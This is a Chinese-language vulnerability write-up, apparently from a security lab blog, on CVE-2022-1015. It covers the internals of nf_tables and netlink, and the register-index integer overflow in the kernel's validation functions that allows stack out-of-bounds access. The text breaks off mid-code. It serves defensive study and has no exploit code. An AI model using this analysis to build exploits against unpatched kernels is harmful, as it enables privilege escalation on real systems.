<content type="html"><![CDATA[<p>author: 莫兴远 of <a href="https://www.iceswordlab.com/about/" target="_blank" rel="noopener">IceSword Lab</a></p><h1 id="一、简介"><a href="#一、简介" class="headerlink" title="一、简介"></a>一、简介</h1><p>CVE-2022-1015 是 Linux 内核 nf_tables 模块的一个漏洞,其成因为没有合理限制整数范围导致栈越界读写。</p><p>受该漏洞影响的内核版本范围为 5.12 ~ 5.16 。</p><p>该漏洞为此 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6e1acfa387b9ff82cfc7db8cc3b6959221a95851" target="_blank" rel="noopener">commit</a> 所修复。</p><h1 id="二、漏洞相关知识"><a href="#二、漏洞相关知识" class="headerlink" title="二、漏洞相关知识"></a>二、漏洞相关知识</h1><p>Netfilter 是 Linux 内核一个非常庞大的子系统,它在内核的网络栈中置入多个钩子,并允许其他模块在这些钩子处注册回调函数,当内核执行到钩子处时,所有被注册的回调函数都会被执行。</p><p>nf_tables 则是隶属于 Netfilter 子系统的一个模块,它在 Netfitler 的某些钩子处注册了回调函数,以提供网络数据包过滤功能,通常被用于实现防火墙等功能。本文所分析的漏洞就位于 nf_tables 模块中。</p><p>在用户态与 nf_tables 交互则是通过 netlink。netlink 是常见的用户态与内核态进行交互的手段,它通过向 AF_NETLINK 类型的 socket 发送数据向内核传递信息,类似地,还可通过从该类型 socket 接收数据以获取内核传递回来的信息。</p><h2 id="2-1-nf-tables实现"><a href="#2-1-nf-tables实现" class="headerlink" title="2.1 nf_tables实现"></a>2.1 nf_tables实现</h2><p>nf_tables 允许用户向其注册处理网络数据包的 rule,以决定针对不同类型的数据包该采取哪种行动。多条 rule 被组织在一条 chain 中,多条 chain 则被组织在一个 table 中。不同类型的 chain 会与不同的 Netfilter hook 绑定在一起。当网络数据包到达后,经过内核不同的 hook 时,所有绑定在该 hook 处的 chain 都会被执行,以完成对数据包的处理。在这里,chain 的执行是指其中所有的 rule 被依次执行,rule 的执行则又是指数据包会根据其中拟定的规则确定被采取什么行动,是丢弃、拒绝还是接受。</p><p>向 nf_tables 注册 rule 的方式是通过 netlink。由于通过 netlink 向内核发送的数据包过于底层,用户使用起来不方便,开发者提供了用户态工具 nft,方便用户通过更高级的语法拟定规则。</p><h3 id="2-1-1-rule"><a href="#2-1-1-rule" class="headerlink" title="2.1.1 rule"></a>2.1.1 rule</h3><p>rule 包含如何处理数据包的逻辑,比如检查数据包的协议、源地址、目标地址、端口等,以分别采取不同的行动。每条 rule 都和一个 verdict 绑定,即每条 rule 都有一个默认的裁定,决定对数据包采取何种行为,是丢弃、拒绝还是接受。举个例子:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">udp dport 50001 drop</span><br></pre></td></tr></table></figure><p>drop 就是该 rule 的 verdict,表示所有目标端口为 50001 的 udp 数据包都会被丢弃。</p><h3 id="2-1-2-chain"><a href="#2-1-2-chain" class="headerlink" title="2.1.2 chain"></a>2.1.2 chain</h3><p>chain 是将 rule 组织起来的结构,一条 chain 可包含多条 rule。chain 分为 base chain 和 non-base chain,base chain 是直接绑定到 Netfilter hook 上面的,执行流只会从 base chain 开始。chain 中的 rule 一般都是依次执行完,有时候某条 rule 的 verdict 会让执行流跳转到其他的 chain,从而越过该 chain 中剩下的 rule,但只能跳转到 non-base chain。跳转分两种,一种是跳转后到某条 chain 后就不可以返回了,另一种则是跳转后还可以返回继续执行原来的 chain 剩下的 rule。</p><h3 id="2-1-3-table"><a href="#2-1-3-table" class="headerlink" title="2.1.3 table"></a>2.1.3 table</h3><p>table 是 nf_tables 最顶层的结构,它包含多条 chain。chain 只能跳转到同一 table 中的其他 chain。</p><p>每个 table 都会从属于某个族,族决定了该 table 会处理哪些种类的数据包。族包括 ip、 ip6、 inet、 arp、 bridge 和 netdev。</p><p>属于 ip 族的 table 只负责处理 IPv4 数据包,属于 ip6 族的 table 只负责处理 IPv6 数据包,属于 inet 族的 table 则既可处理 IPv4 又可处理 IPv6 数据包。</p><h3 id="2-1-4-expression"><a href="#2-1-4-expression" class="headerlink" title="2.1.4 expression"></a>2.1.4 expression</h3><p>事实上,rule 在层次结构上还可以细分为多个 expression,expression 相当于一条条应用在数据包上的具体指令。用户态工具一般不会涉及到 expression 这个抽象表示,只有内核代码会涉及到。</p><p>对于 udp dport 50001 drop 这个规则,需要先通过一个 expression 检查协议是不是 udp,再通过一个 expression 检查端口是不是 50001,如果前面的 expression 都通过了,最后再通过一个 expression 将 verdict 设置为 drop,以将数据包丢弃。</p><p>每种 expression 会和一个 struct nft_expr_ops 实例绑定,比如 immediate 这个 expression:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">nft_expr_ops</span> <span class="title">nft_imm_ops</span> = {</span></span><br><span class="line">.type= &nft_imm_type, <span class="comment">// expression 类型</span></span><br><span class="line">.<span class="built_in">size</span>= NFT_EXPR_SIZE(<span class="keyword">sizeof</span>(struct nft_immediate_expr)),</span><br><span class="line">.eval= nft_immediate_eval, <span class="comment">// 当 expression 被执行时调用</span></span><br><span class="line">.init= nft_immediate_init, <span class="comment">// 当 expression 被初始化时调用</span></span><br><span class="line">.activate= nft_immediate_activate,</span><br><span class="line">.deactivate= nft_immediate_deactivate,</span><br><span class="line">.destroy= nft_immediate_destroy,</span><br><span class="line">.dump= nft_immediate_dump,</span><br><span class="line">.validate= nft_immediate_validate,</span><br><span class="line">.reduce= nft_immediate_reduce,</span><br><span class="line">.offload= nft_immediate_offload,</span><br><span class="line">.offload_action= nft_immediate_offload_action,</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>每次当一条 rule 被添加进来,其所有 expression 的 init 函数都会被调用。</p><p>当某个 expression 被执行时,其 eval 函数会被调用。</p><h3 id="2-1-5-register"><a href="#2-1-5-register" class="headerlink" title="2.1.5 register"></a>2.1.5 register</h3><p>expression 在操作数据包时,需要内存来记录一些数据,这部分内存就是 register。在内核的实现中,所有 register 都在栈上,且在内存地址上是连续的。</p><p>expression 可以读取或修改 register 的数据,单次访问的对象既可以是单个 register,也可以是连续的多个 register,因此 register 可以看做是一块连续的缓冲区。</p><p>register 可通过 index 索引,以下是内核中定义的 register 的 index:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> nft_registers {</span><br><span class="line">NFT_REG_VERDICT,</span><br><span class="line">NFT_REG_1,</span><br><span class="line">NFT_REG_2,</span><br><span class="line">NFT_REG_3,</span><br><span class="line">NFT_REG_4,</span><br><span class="line">__NFT_REG_MAX,</span><br><span class="line"></span><br><span class="line">NFT_REG32_00= <span class="number">8</span>,</span><br><span class="line">NFT_REG32_01,</span><br><span class="line">NFT_REG32_02,</span><br><span class="line">...</span><br><span class="line">NFT_REG32_13,</span><br><span class="line">NFT_REG32_14,</span><br><span class="line">NFT_REG32_15,</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>register 有两种索引方式。NFT_REG_1 到 NFT_REG_4 是一种,共 4 个 register,每个 16 字节;NFT_REG32_00 到 NFT_REG32_15 是另一种,共 16 个 reigster,每个 4 字节。在两种索引方式中,NFT_REG_VERDICT 都指向 verdict register,大小为 16 字节。两种索引方式针对的都是同一片内存,因此内存总数都是 16 + 4 * 16 = 16 + 16 * 4 = 80 字节。</p><p><img src="images/01.png" alt></p><p>verdict register 在内存上位于最前,每条 rule 执行完后都会设置好 verdict register,以决定下一步该怎么执行。verdict register 可以设置成以下值:</p><table><thead><tr><th>verdict</th><th>作用</th></tr></thead><tbody><tr><td>NFT_CONTINUE</td><td>默认 verdict,继续执行下一个 expression。</td></tr><tr><td>NFT_BREAK</td><td>跳过该 rule 剩下的 expression,继续执行下一条 rule。</td></tr><tr><td>NF_DROP</td><td>丢弃数据包,停止执行。</td></tr><tr><td>NF_ACCEPT</td><td>接受数据包,停止执行。</td></tr><tr><td>NFT_GOTO</td><td>跳转到另一条 chain,且不再返回。</td></tr><tr><td>NFT_JUMP</td><td>跳转到另一条 chain,执行完该 chain 后,若 verdict 为 NFT_CONTINUE,则返回原本的 chain 继续执行。</td></tr></tbody></table><h3 id="2-1-6-nft-do-chain"><a href="#2-1-6-nft-do-chain" class="headerlink" title="2.1.6 nft_do_chain"></a>2.1.6 nft_do_chain</h3><p>nft_do_chain 实现了依次执行所有 base chain 中所有 rule 的所有 expression 的逻辑,以下是添加了许多说明性注释的该函数的代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span></span><br><span class="line">nft_do_chain(struct nft_pktinfo *pkt, <span class="keyword">void</span> *priv)</span><br><span class="line">{</span><br><span class="line"><span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">nft_chain</span> *<span class="title">chain</span> = <span class="title">priv</span>, *<span class="title">basechain</span> = <span class="title">chain</span>;</span></span><br><span class="line"><span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">nft_rule_dp</span> *<span class="title">rule</span>, *<span class="title">last_rule</span>;</span></span><br><span class="line"><span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">net</span> *<span class="title">net</span> = <span class="title">nft_net</span>(<span class="title">pkt</span>);</span></span><br><span class="line"><span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">nft_expr</span> *<span class="title">expr</span>, *<span class="title">last</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">nft_regs</span> <span class="title">regs</span>;</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> stackptr = <span class="number">0</span>;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">nft_jumpstack</span> <span class="title">jumpstack</span>[<span class="title">NFT_JUMP_STACK_SIZE</span>];</span></span><br><span class="line"><span class="keyword">bool</span> genbit = READ_ONCE(net->nft.gencursor);</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">nft_rule_blob</span> *<span class="title">blob</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">nft_traceinfo</span> <span class="title">info</span>;</span></span><br><span class="line"></span><br><span class="line">info.trace = <span class="literal">false</span>;</span><br><span class="line"><span class="keyword">if</span> (static_branch_unlikely(&nft_trace_enabled))</span><br><span class="line">nft_trace_init(&info, pkt, &regs.verdict, basechain);</span><br><span class="line">do_chain:</span><br><span class="line"><span class="keyword">if</span> (genbit)</span><br><span class="line">blob = rcu_dereference(chain->blob_gen_1);</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">blob = rcu_dereference(chain->blob_gen_0);</span><br><span class="line"></span><br><span class="line">rule = (struct nft_rule_dp *)blob->data;</span><br><span class="line"><span class="comment">/* 获取最后一条 rule 的位置,以确定循环的停止条件 */</span></span><br><span class="line">last_rule = (<span class="keyword">void</span> *)blob->data + blob-><span class="built_in">size</span>;</span><br><span class="line">next_rule: <span class="comment">// 执行到一条新的 chain,或返回到原来的 chain,都从这里开始</span></span><br><span class="line">regs.verdict.code = NFT_CONTINUE; <span class="comment">// the default verdict code = NFT_CONTINUE</span></span><br><span class="line"><span class="keyword">for</span> (; rule < last_rule; rule = nft_rule_next(rule)) { <span class="comment">// iterate through the rules</span></span><br><span class="line"><span class="comment">/* iterate through the expressions */</span></span><br><span class="line">nft_rule_dp_for_each_expr(expr, last, rule) {</span><br><span class="line"><span class="comment">// execute the expression</span></span><br><span class="line"><span class="keyword">if</span> (expr->ops == &nft_cmp_fast_ops)</span><br><span class="line">nft_cmp_fast_eval(expr, &regs);</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (expr->ops == &nft_cmp16_fast_ops)</span><br><span class="line">nft_cmp16_fast_eval(expr, &regs);</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (expr->ops == &nft_bitwise_fast_ops)</span><br><span class="line">nft_bitwise_fast_eval(expr, &regs);</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (expr->ops != &nft_payload_fast_ops ||</span><br><span class="line"> !nft_payload_fast_eval(expr, &regs, pkt))</span><br><span class="line">expr_call_ops_eval(expr, &regs, pkt);</span><br><span class="line"><span class="comment">/* 如果 verdict 不是 NFT_CONTINUE, 停止执行该 rule 接下来的 expression */</span></span><br><span class="line"><span class="keyword">if</span> (regs.verdict.code != NFT_CONTINUE) </span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 已执行完一条 rule,检查 verdict,</span></span><br><span class="line"> <span class="comment">// 如果不是 NFT_BREAK 或 NFT_CONTINUE,停止执行该 chain 剩下的 rule</span></span><br><span class="line"><span class="keyword">switch</span> (regs.verdict.code) { </span><br><span class="line"><span class="keyword">case</span> NFT_BREAK: </span><br><span class="line"><span class="comment">// 若为 NFT_BREAK,则将 verdict 设置回 NFT_CONTINUE。</span></span><br><span class="line"><span class="comment">// NFT_BREAK 和 NFT_CONTINUE 类似,都会执行下一条 rule,</span></span><br><span class="line"> <span class="comment">// 只是 NFT_BREAK 会跳过当前 rule 剩下的 expression。</span></span><br><span class="line">regs.verdict.code = NFT_CONTINUE;</span><br><span class="line">nft_trace_copy_nftrace(pkt, &info);</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">case</span> NFT_CONTINUE:</span><br><span class="line"><span class="comment">// 执行到这里代表执行完了当前 rule 的所有 expression,</span></span><br><span class="line"> <span class="comment">// 继续执行下一条 rule 即可。</span></span><br><span class="line">nft_trace_packet(pkt, &info, chain, rule,</span><br><span class="line"> NFT_TRACETYPE_RULE);</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 若 verdict 不是 NFT_BREAK 或 NFT_CONTINUE,</span></span><br><span class="line"> <span class="comment">// 代表即将跳过该 chain 剩下的 rule,停止该 chain 的执行。</span></span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">nft_trace_verdict(&info, chain, rule, &regs);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 执行到这里代表执行完了某条 chain,</span></span><br><span class="line"> <span class="comment">// 将根据 verdict 决定采取的行动</span></span><br><span class="line"><span class="keyword">switch</span> (regs.verdict.code & NF_VERDICT_MASK) {</span><br><span class="line"><span class="keyword">case</span> NF_ACCEPT:</span><br><span class="line"><span class="keyword">case</span> NF_DROP:</span><br><span class="line"><span class="keyword">case</span> NF_QUEUE:</span><br><span class="line"><span class="keyword">case</span> NF_STOLEN:</span><br><span class="line"><span class="comment">// 已经决定好对当前数据包的处理,退出函数即可。</span></span><br><span class="line"><span class="keyword">return</span> regs.verdict.code;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 尚未决定好对数据包的处理,继续执行。</span></span><br><span class="line"><span class="keyword">switch</span> (regs.verdict.code) {</span><br><span class="line"><span class="keyword">case</span> NFT_JUMP: </span><br><span class="line"><span class="comment">// 跳转到另一条 chain,将返回时需要的信息保存到 jumpstack 上</span></span><br><span class="line"> <span class="comment">// 返回后,执行的是当前 rule 的下一条 rule</span></span><br><span class="line"><span class="keyword">if</span> (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))</span><br><span class="line"><span class="keyword">return</span> NF_DROP;</span><br><span class="line">jumpstack[stackptr].chain = chain;</span><br><span class="line">jumpstack[stackptr].rule = nft_rule_next(rule);</span><br><span class="line">jumpstack[stackptr].last_rule = last_rule;</span><br><span class="line">stackptr++;</span><br><span class="line">fallthrough;</span><br><span class="line"><span class="keyword">case</span> NFT_GOTO:</span><br><span class="line"><span class="comment">// 跳转到另一条 chain,不再返回</span></span><br><span class="line">chain = regs.verdict.chain;</span><br><span class="line"><span class="keyword">goto</span> do_chain;</span><br><span class="line"><span class="keyword">case</span> NFT_CONTINUE: <span class="comment">// 执行下一条 chain</span></span><br><span class="line"><span class="keyword">case</span> NFT_RETURN: <span class="comment">// 返回到上一次跳转前的 chain</span></span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">WARN_ON_ONCE(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> nft_base_chain(basechain)->policy;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>每执行完一个 expression、一条 rule 或 一条 chain 时,都会检查 verdict register。</p><p>执行完一个 expression 时,非 NFT_CONTINUE 的 verdict 会阻止该条 rule 剩下的 expression 的执行。</p><p>执行完一条 rule 时,非 NFT_BREAK 或 NFT_CONTINUE 的 verdict 会阻止该 chain 剩下的 rule 的执行。</p><p>执行完一条 chain 时,如果已经决定对数据包的处理,则停止执行。否则,根据 verdict 决定流程如何跳转。</p><h3 id="2-1-7-expression种类"><a href="#2-1-7-expression种类" class="headerlink" title="2.1.7 expression种类"></a>2.1.7 expression种类</h3><p>以下是常见的一些 expression 类型及其功能的简单描述:</p><table><thead><tr><th>类型</th><th>功能</th></tr></thead><tbody><tr><td>nft_immediate_expr</td><td>将一个常数保存进 register。</td></tr><tr><td>nft_payload</td><td>从数据包提取数据保存进 register。</td></tr><tr><td>nft_payload_set</td><td>将数据包的某部分数据设置成 register 中的数据。</td></tr><tr><td>nft_cmp_expr</td><td>比较 register 中的数据和某个常数,根据结果决定是否修改执行流。</td></tr><tr><td>nft_bitwise</td><td>对 register 中数据进行位操作,比如左移、亦或。</td></tr><tr><td>nft_range_expr</td><td>和 nft_cmp_expr 类似,但比较的是更大范围的数据,可跨越多个 register。</td></tr></tbody></table><h2 id="2-2-netlink"><a href="#2-2-netlink" class="headerlink" title="2.2 netlink"></a>2.2 netlink</h2><p>和 nf_table 进行交互需要通过 netlink。netlink 是 Linux 系统中和内核通信的常用方式,特别是在网络模块中使用率很高,它的设计是为了克服 ioctl 的一些缺点。</p><p>和 netlink 通信需要利用 AF_NETLINK 族的 socket。所有需要使用 netlink 的内核模块都要实现一个 protocal,nf_tables 则是实现了 NETLINK_NETFILTER 这一 protocal。因此,为了和 nf_tables 通信,只需要创建以下 socket:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER);</span><br></pre></td></tr></table></figure><p>当创建相应的 netlink socket 时,netlink 还会自动加载相应的模块,只要 modprobe 和 .ko 文件存放在合适的位置。</p><p>创建 socket 之后,就可通过 sendmsg 向 socket 发送消息,通过 recvmsg 从 socket 接收消息,从而实现和 nf_tables 通信。</p><p>sendmsg 的消息格式是:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">msghdr</span> {</span></span><br><span class="line"> <span class="keyword">void</span> *msg_name; <span class="comment">/* Optional address */</span></span><br><span class="line"> <span class="keyword">socklen_t</span> msg_namelen; <span class="comment">/* Size of address */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">iovec</span> *<span class="title">msg_iov</span>;</span> <span class="comment">/* Scatter/gather array */</span></span><br><span class="line"> <span class="keyword">size_t</span> msg_iovlen; <span class="comment">/* # elements in msg_iov */</span></span><br><span class="line"> <span class="keyword">void</span> *msg_control; <span class="comment">/* Ancillary data, see below */</span></span><br><span class="line"> <span class="keyword">size_t</span> msg_controllen; <span class="comment">/* Ancillary data buffer len */</span></span><br><span class="line"> <span class="keyword">int</span> msg_flags; <span class="comment">/* Flags (unused) */</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>消息的内容存放在 msg_iov 字段指向的 iovec 数组中。</p><p>发送 netlink 消息时,iovec 数组指向 struct nlmsghdr 结构:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">nlmsghdr</span> {</span></span><br><span class="line">__u32nlmsg_len;<span class="comment">/* Length of message including header */</span></span><br><span class="line">__u16nlmsg_type;<span class="comment">/* Message content */</span></span><br><span class="line">__u16nlmsg_flags;<span class="comment">/* Additional flags */</span></span><br><span class="line">__u32nlmsg_seq;<span class="comment">/* Sequence number */</span></span><br><span class="line">__u32nlmsg_pid;<span class="comment">/* Sending process port ID */</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>struct nlmsghdr 之后通常紧跟特定 protocol 定义的协议头部,不同 protocal 的协议头部差异很大。</p><p>协议头部之后是多个属性,属性的头部是以下结构:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">nlattr</span> {</span></span><br><span class="line">__u16 nla_len;</span><br><span class="line">__u16 nla_type;</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>属性的实际内容则紧跟在头部之后。</p><h1 id="三、漏洞成因"><a href="#三、漏洞成因" class="headerlink" title="三、漏洞成因"></a>三、漏洞成因</h1><p>漏洞类型是整形溢出导致的栈溢出,同时存在于 nft_validate_register_store 及 nft_validate_register_load 两个函数,以下仅通过 nft_validate_register_load 进行解释,nft_validate_register_store 处的情况大同小异。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* net/netfilter/nf_tables_api.c */</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">nft_validate_register_load</span><span class="params">(<span class="keyword">enum</span> nft_registers reg, <span class="keyword">unsigned</span> <span class="keyword">int</span> len)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="comment">// 这里检查是否在读取 verdict register, 这是不被允许的</span></span><br><span class="line"><span class="keyword">if</span> (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)</span><br><span class="line"><span class="keyword">return</span> -EINVAL;</span><br><span class="line"><span class="keyword">if</span> (len == <span class="number">0</span>) <span class="comment">// len 不可以是 0</span></span><br><span class="line"><span class="keyword">return</span> -EINVAL;</span><br><span class="line"> <span class="comment">// 由于 reg 的范围没有限制好,导致整形溢出</span></span><br><span class="line"><span class="keyword">if</span> (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))</span><br><span class="line"><span class="keyword">return</span> -ERANGE;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>由于 reg 的范围没有限制好,导致 reg * NFT_REG32_SIZE + len 整形溢出。</p><p>reg 的取值范围分析可以看 nft_validate_register_load 的调用处:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* net/netfilter/nf_tables_api.c */</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">nft_parse_register_load</span><span class="params">(<span class="keyword">const</span> struct nlattr *attr, u8 *sreg, u32 len)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">u32 reg; <span class="comment">// 4 byte register variable</span></span><br><span class="line"><span class="keyword">int</span> err;</span><br><span class="line"></span><br><span class="line">reg = nft_parse_register(attr); <span class="comment">// gets the register index from an attribute</span></span><br><span class="line">err = nft_validate_register_load(reg, len); <span class="comment">// calls the validating function</span></span><br><span class="line"><span class="keyword">if</span> (err < <span class="number">0</span>) <span class="comment">// if the validating function didn't return an error everything is fine</span></span><br><span class="line"><span class="keyword">return</span> err;</span><br><span class="line"></span><br><span class="line">*sreg = reg; <span class="comment">// save the register index into sreg (a pointer that is provided as an argument)</span></span><br><span class="line"><span class="comment">// sreg = source register -> the register from which we read</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line">EXPORT_SYMBOL_GPL(nft_parse_register_load);</span><br></pre></td></tr></table></figure><p>可以看到 reg 来自 netlink 属性 attr,通过 nft_parse_register 函数解析出来,再传递给 nft_validate_register_load 函数。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* net/netfilter/nf_tables_api.c */</span></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *nft_parse_register - parse a register value from a netlink attribute</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *@attr: netlink attribute</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *Parse and translate a register value from a netlink attribute.</span></span><br><span class="line"><span class="comment"> *Registers used to be 128 bit wide, these register numbers will be</span></span><br><span class="line"><span class="comment"> *mapped to the corresponding 32 bit register numbers.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">nft_parse_register</span><span class="params">(<span class="keyword">const</span> struct nlattr *attr)</span></span></span><br><span class="line"><span 